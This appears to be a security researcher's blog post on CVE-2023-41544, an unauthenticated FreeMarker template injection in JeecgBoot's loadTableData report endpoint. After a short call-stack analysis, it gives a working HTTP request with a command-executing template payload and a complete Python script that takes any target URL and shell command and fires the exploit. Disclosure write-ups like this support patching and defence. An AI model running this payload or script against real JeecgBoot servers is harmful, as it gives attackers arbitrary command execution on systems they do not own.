CVE-2023-41544(JeecgBoot FreeMarker SSTI)

Description

The JeecgBoot/jeecg boot/jmreport/loadTableData Api interface does not have identity verification. Freemarker is used to process SQL parameters passed in by the user, and arbitrary code is executed on the application side through SSTI.

Affected version

JeecgBoot <= v3.5.3

Vulnerability Analysis

/jeecg-boot/jmreport/loadTableDatainterface has SSTI injection of FreeMarkerUtils

Trace call stack

1
2
3
4
5
6
7
org.jeecg.modules.jmreport.desreport.a.c->this.reportDbService.parseReportSql

org.jeecg.modules.jmreport.desreport.service.a.parseReportSql->f.a

org.jeecg.modules.jmreport.desreport.util.f.a->FreeMarkerUtils.a

org.jeecg.modules.jmreport.desreport.render.utils.FreeMarkerUtils.a->(new Template("template", new StringReader(var0), var2)).process(var1, var3)

By writing a payload with a freemarker template in the SQL parameters, template parsing can be triggered, resulting in template injection. Additionally, this version does not restrict classes, so template injection can cause arbitrary command execution

From Routing Processing Logic to the LoadTableData Function

image-20230918173752359

Then use f.a to parse the Freemarker template for SQL

image-20230918173803314

So we can construct the request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /jeecg-boot/jmreport/loadTableData HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
X-Sign: 8DFA6138EFBF3D5ECA9D62F6FB80C84D
X-TIMESTAMP: 1692975637994
X-Access-Token: null
token: null
JmReport-Tenant-Id: null
Content-Length: 178
Origin: http://localhost:8088
Connection: close

{"dbSource":"","sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"cmd /c calc\") }'","tableName":"test_demo);","pageNo":1,"pageSize":10}

The actual payload is in the SQL parameters

1
select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"cmd /c calc\") }'

The complete utilization script is as follows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import json

def invokecmd(url,cmd):
url=url+"/jeecg-boot/jmreport/loadTableData"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer': 'http://localhost:8088/jeecg-boot/jmreport/list',
'X-Access-Token': 'null',
'token': 'null',
'JmReport-Tenant-Id': 'null',
'Content-Type': 'application/json',
'Connection': 'close',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'no-cors',
'Sec-Fetch-Site': 'same-origin',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache'
}
payload="""{"dbSource":"","sql":"select 'result:<#assign ex=\\"freemarker.template.utility.Execute\\"?new()> ${ ex(\\\""""+cmd+""" \\") }'","tableName":"test_demo);","pageNo":1,"pageSize":10}"""
print(payload)
response=requests.post(url,headers=headers,data=payload)
print("命令执行成功")
# invokecmd("http://localhost:8088","calc")
if __name__ == '__main__':
url=input("please input your target: (example:http://localhost:8088)")
cmd=input("please input your command: ")
invokecmd(url,cmd)

CVE-2023-41544(JeecgBoot FreeMarker SSTI)
https://pho3n1x-web.github.io/2023/09/18/CVE-2023-41544(JeecgBoot_SSTI)/
Author
Pho3n1x
Posted on
September 18, 2023
Licensed under